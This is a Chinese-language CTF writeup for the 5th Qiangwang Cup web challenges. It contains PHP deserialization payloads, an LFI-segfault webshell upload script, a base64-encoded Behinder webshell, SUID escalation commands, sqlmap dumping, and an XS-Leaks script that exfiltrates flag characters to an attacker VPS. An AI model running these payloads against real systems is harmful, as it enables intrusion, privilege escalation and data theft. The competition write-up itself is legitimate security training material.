第五届强网杯全国网络安全挑战赛writeup

摘要:
Web1.[强大的互联网先锋]发布比赛问题。访问链接如下:对于这个问题,您需要通过消息1和消息2获得两个键值,输入Key1和Key2,然后解密。第2层:绕过intval函数,并使用科学技术方法绕过长度小于5的限制,因此使$num2=9e9。第3层:substr值是某个值。编写一个脚本来执行MD5冲突,num3计算为61823470。脚本如下:importhashlibdefmd5_encode:returnhashlib.MD5.hexedigest()[0:7]foriinrange:num3=MD5_encode#printifnum3=='4bf21cd':printbreak运行如下:第4层:科学符号旁路,长度7和0,num4 0e0000。
Web

1.[强网先锋]寻宝

下发赛题,访问链接如下:

第五届强网杯全国网络安全挑战赛writeup第1张

该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。

Key1之代码审计

点击“信息1”,发现是代码审计:

第五届强网杯全国网络安全挑战赛writeup第2张

完整源码如下:

<?php

header('Content-type:text/html;charset=utf-8');

error_reporting(0);

highlight_file(__file__);


function filter($string){

        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');

        $filter_phrase= '/'.implode('|',$filter_word).'/';

        return preg_replace($filter_phrase,'',$string);

    }


if($ppp){

    unset($ppp);

}

$ppp['number1'] = "1";

$ppp['number2'] = "1";

$ppp['nunber3'] = "1";

$ppp['number4'] = '1';

$ppp['number5'] = '1';


extract($_POST);


$num1 = filter($ppp['number1']);        

$num2 = filter($ppp['number2']);        

$num3 = filter($ppp['number3']);        

$num4 = filter($ppp['number4']);

$num5 = filter($ppp['number5']);    


if(isset($num1) && is_numeric($num1)){

    die("非数字");

}


else{

  

    if($num1 > 1024){

    echo "第一层";

        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){

            echo "第二层";

            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){

                echo "第三层";

                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){

                    echo "第四层";

                    if(!isset($num5)||(strlen($num5)==0)) die("no");

                    $b=json_decode(@$num5);

                        if($y = $b === NULL){

                                if($y === true){

                                    echo "第五层";

                                    include 'KeY1lhv.php';

                                    echo $KEY1;

                                }

                        }else{

                            die("no");

                        }

                }else{

                    die("no");

                }

            }else{

                die("no");

            }

        }else{

            die("no");

        }

    }else{

        die("no111");

    }

}

非数字

?>

核心需要 bypass 的代码如下:

第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。

第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。

第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:

import hashlib


def md5_encode(num3):    

    return hashlib.md5(num3.encode()).hexdigest()[0:7]


for i in range(60000000,700000000):

    num3 = md5_encode(str(i))

    # print(num3)

    if num3 == '4bf21cd':

        print(i)

        break  


运行结果如下:

第五届强网杯全国网络安全挑战赛writeup第3张

第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。

第五届强网杯全国网络安全挑战赛writeup第4张

第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。

故最终 Payload:

ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a

POST提交获得 Key1:

KEY1{e1e1d3d40573127e9ee0480caf1283d6}

Key2之脚本搜索

1、提示信息给了一个下载链接:

第五届强网杯全国网络安全挑战赛writeup第5张

2、解压后得到一堆 docx 文件:

第五届强网杯全国网络安全挑战赛writeup第6张

3、随便打开一个发现是一堆字符:

第五届强网杯全国网络安全挑战赛writeup第7张

4、猜测 Key2 就在其中某一个文件中,写脚本跑:

import os

import docx


for i in range(1,20):

    for j in range(1,20):

        path = "./5.{0}/VR_{1}".format(i,j)

        files = os.listdir(path)

        # print(filePath)

        for file in files:

            try:

                fileName = path+"/"+file

                # print(fileName)

                file = docx.Document(fileName)                

                for content in file.paragraphs:

                    # print(content.text)

                    if "KEY2{" in content.text:

                        print(content.text)

                        print(fileName)

                        break

            except:

                pass

运行结果如下:

第五届强网杯全国网络安全挑战赛writeup第8张

得到 KEY2 :

KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

在原页面上提交获取 flag:

第五届强网杯全国网络安全挑战赛writeup第9张

2.[强网先锋]赌徒

下发赛题,访问地址如下:
第五届强网杯全国网络安全挑战赛writeup第10张

结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip:
第五届强网杯全国网络安全挑战赛writeup第11张
3、解压缩获得题目源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
   
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
   
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
   
    public function __get($name){
        $function = $this->a;
        return $function();
    }
   
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}
?>
看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。
PHP的魔术方法
PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:  和构造函数相反,当对象所在函数调用完毕后执行。
__toString:  当对象被当做一个字符串使用时调用。
__sleep:     序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:    反序列化恢复对象之前调用该方法
__call:      当调用对象中不存在的方法会自动调用该方法。
__get:       从不可访问的属性中读取数据会触发
__isset():   在不可访问的属性上调用isset()或empty()触发
__unset():   在不可访问的属性上使用unset()时触发
__invoke():  将对象调用为函数时触发
更多请查看PHP手册:
https://www.php.net/manual/zh/language.oop5.magic.php
简单例子
<?php
class A{
    var $test = "demo";
    function __wakeup(){
        eval($this->test);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:
<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);

$b = new A();
$b->test="phpinfo();";
$c = serialize($b);
echo $c;
?>
输出:
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
提交输出的 Payload,执行效果如下:
第五届强网杯全国网络安全挑战赛writeup第12张

POP链实例
进一步来看一道进阶题目:
<?php
//flag is in flag.php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}
【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。
1、__wakeup方法:
public function __wakeup(){
   if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
       echo "hacker";
       $this->source = "index.php";
   }
}
存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。

2、__tostring方法:
public function __toString(){
    return $this->str['str']->source;
}
首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。
3、__get方法:

 public function __get($key){
    $function = $this->p;
    return $function();
}
发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。

4、__invoke方法:

public function __invoke(){
    $content = $this->file_get($this->var);
    echo $content;
}
调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。
5、POP链构造:
unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。

<?php
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
class Read{
    public $var = "flag.php";
}
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>
题目POP链构造
经过上面的实例分析,此赛题同理,照葫芦画瓢即可。
构造本题的 EXP:
<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
    public $phonenumber=123123;
    public $promise='I do';
}
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
}
$S = new Start();
$I = new Info();
$R = new Room();
$R->a = $R;
$I->file['filename'] = $R;
$S->name = $I;
echo serialize($S);
?>
输出Payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
提交 Payload,获得 Flag 的 base64 编码:
第五届强网杯全国网络安全挑战赛writeup第13张

坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:
第五届强网杯全国网络安全挑战赛writeup第14张

3.WhereIsUWebShell

源码

 <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){

        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}
?>

入口的 COOKIE 存在反序列化

去掉最后的大括号,利用反序列化报错来防止进入 Exception

O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D

第五届强网杯全国网络安全挑战赛writeup第15张

e2a7106f1cc8bb1e1318df70aa0a3540.php

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);
$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

bff139fa05ac583f685a523ab3d110a0.php

<?php
function PNG($file)
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}
?>

45b963397aa40d4a0063e0d85e4fe7a1.php

<?php

function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

?>

/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp

当前应该是在 /etc 目录下(?

不过没啥用,不能直接读 /flag,或者说 flag 不在根目录

第五届强网杯全国网络安全挑战赛writeup第16张

参考 LFI via SegmentFault

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault

本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留

魔改他的脚本

# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
        print(response)
    except Exception as e:
        print(e)


def generate_tmp_files():
    with open('miao.png', 'rb') as fin:
        file_content = fin.read()
    phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (
        base_url)
    length = 6
    times = int(len(charset) ** (length / 2))
    for i in range(times):
        print("[+] %d / %d" % (i, times))
        upload_file_to_include(phpinfo_url, file_content)


def main():
    generate_tmp_files()


if __name__ == "__main__":
    main()

图片是个长宽相等的 png,里面放木马。

上传过程中就会留下一些文件不会被删除。

一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell

由于会自动删除,没了就换新的

根目录果然没 flag

第五届强网杯全国网络安全挑战赛writeup第17张

然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令

find / -user root -perm -4000 -print 2>/dev/null
# 或者
# find / -perm -u=s -type f 2>/dev/null

第五届强网杯全国网络安全挑战赛writeup第18张

flag 在 /l1b 下一个绕来绕去的目录里面

第五届强网杯全国网络安全挑战赛writeup第19张

或者

find / -perm 600 -user root

第五届强网杯全国网络安全挑战赛writeup第20张

最后执行

/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41

第五届强网杯全国网络安全挑战赛writeup第21张

POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1
Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded

1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41

flag{b101e657-a46a-4791-abcb-5be544fc12bd}

4.EasyWeb

SQL注入得密码

1、提示信息收集,那么先扫一波端口:

第五届强网杯全国网络安全挑战赛writeup第22张

2、访问该端口是一个登陆页面:

第五届强网杯全国网络安全挑战赛writeup第23张

3、简单测试发现是未过滤的 SQL 注入:

第五届强网杯全国网络安全挑战赛writeup第24张

4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……

第五届强网杯全国网络安全挑战赛writeup第25张

5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……

第五届强网杯全国网络安全挑战赛writeup第26张

上传木马并提权

1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:

第五届强网杯全国网络安全挑战赛writeup第27张

2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:

第五届强网杯全国网络安全挑战赛writeup第28张


3、此处过滤了 application,用 php5-script 绕过即可:

第五届强网杯全国网络安全挑战赛writeup第29张

4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:

第五届强网杯全国网络安全挑战赛writeup第30张

5、成功连接木马:

第五届强网杯全国网络安全挑战赛writeup第31张

6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:

第五届强网杯全国网络安全挑战赛writeup第32张

第五届强网杯全国网络安全挑战赛writeup第33张

7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:

第五届强网杯全国网络安全挑战赛writeup第34张

在终端使用 curl 命令请求访问 8006 端口的服务页面:

第五届强网杯全国网络安全挑战赛writeup第35张

8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):

/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));

9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:

第五届强网杯全国网络安全挑战赛writeup第36张

随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:

第五届强网杯全国网络安全挑战赛writeup第37张

10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:

第五届强网杯全国网络安全挑战赛writeup第38张
第五届强网杯全国网络安全挑战赛writeup第39张

本题最后补充两个知识点:

冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;

JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。

5.EasyXSS

The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)

Notice: the address requested by the BOT is http://localhost:8888.

Each time the BOT processes a request, it clears subsequent report URLs from the database

每 15 分钟重启环境

47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888

Hint: flag格式是flag{uuid}

算是个 XS-Leaks 的题目,算是侧信道的一种吧。

通过 /hint 路由可以知道 flag 判断逻辑。

app.all("/flag", auth, async (req, res, next) => {
    if (req.session.isadmin && typeof req.query.var === "string") {
        fs.readFile("/flag", "utf8", (err, flag) => {
            let flagArray = flag.split("");
            let dataArray = req.query.var.split("");
            let check = true;
            for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {
                if (dataArray[i] !== flagArray[i]) {
                    check = false;
                    break;
                }
            }
            if (check) {
                res.status(200).send(req.query.var);
            } else {
                res.status(500).send("Keyword Error!");
            }
        });
    } else {
        res.status(500).send("Sorry, you are not admin!");
    }
});

/flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.

访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。

根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。

访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。

于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。

如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。

exp:

from flask import Flask
from flask import request
import requests
import urllib.parse

app = Flask(__name__)

@app.route("/success")
def index():
    global cookies
    global url
    data = request.args.get('a')
    if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28:
        data += "-0"
    else:
        data += "0"
    p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
    p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
    d = {
        "url": p
    }
    requests.post(url, data=d, cookies=cookies)
    return "Hello World!"

@app.route("/error")
def index2():
    global cookies
    global url
    data = request.args.get('a')
    tmp = data[:-1]
    if data[-1] == "9":
        tmp += "a"
    else:
        tmp += chr(ord(data[-1]) + 1)
    data = tmp
    p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
    p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
    d = {
        "url": p
    }
    requests.post(url, data=d, cookies=cookies)
    return "Hello World!"

cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}
# url = "http://47.104.210.56:8888/report"
url = "http://47.104.192.54:8888/report"
app.run(host='0.0.0.0', port=80)

让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。

最后根据 VPS 上的访问记录就能得到 flag 了。


6.Hard_Penetration

Shiro反序列化
1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:
第五届强网杯全国网络安全挑战赛writeup第40张
2、Xray 神器一扫果然有 Shiro 反序列化漏洞:
第五届强网杯全国网络安全挑战赛writeup第41张
3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:
第五届强网杯全国网络安全挑战赛writeup第42张
4、查看根目录发现 flag 权限是 www-data 无法读取:
第五届强网杯全国网络安全挑战赛writeup第43张

CMS源码审计
1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:
第五届强网杯全国网络安全挑战赛writeup第44张
2、读取 Apache 的 ports 配置文件得到端口:
第五届强网杯全国网络安全挑战赛writeup第45张
3、使用冰蝎将端口映射出来:
第五届强网杯全国网络安全挑战赛writeup第46张
4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:
第五届强网杯全国网络安全挑战赛writeup第47张
5、Github 下载对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:
第五届强网杯全国网络安全挑战赛writeup第48张
6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:
第五届强网杯全国网络安全挑战赛writeup第49张

7.pop_master

图片.png
图片.png
该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链

第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
<?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $version=70)));
构造比较简单A->B->C->…….->包含EVAL()的class function
图片.png
调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链

自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)

## -*- coding: utf-8 -*-
import json
import random
import os
import string
with open("12.json") as f:
line=f.readline()
result=json.loads(line)
print(len(result['children']))
def asb(name,s,s1=''):
ee =
0
for a in result['children']:
for b in a['children']['stmts']['children']:
if 'name' in b['children'].keys():
if (b['children']['name'] == 'gG1T5D'):
ee =
0
#ee=1
if (b['children']['name'] == name):
test(a)
if(len(b['children']['stmts']['children'])==3):
q = b[
'children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1]
w = b[
'children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造
#print(s + q)
#print(s + w)
ran_str =
''.join(random.sample(string.ascii_letters, 8))
print('$'+ran_str+'=new '+a['children']['name']+'();')
s11=
'$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#if s1!='':

# asb(w, s +w+'-->')
# asb(q, s +q+'-->')
if ee!=1:
asb(w,s,s11)
# 分支函数1
#asb(q, s, s11)# 分支函数2
if ran_str == '':
exit()
print(s1 + '$' + ran_str+';')


#asb(q, s +q+'-->')

else:
if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支
q = b[
'children']['stmts']['children'][1]['children']['method']
ran_str =
''.join(random.sample(string.ascii_letters, 8))
print('$' + ran_str + '=new ' + a['children']['name'] + '();')
s11 =
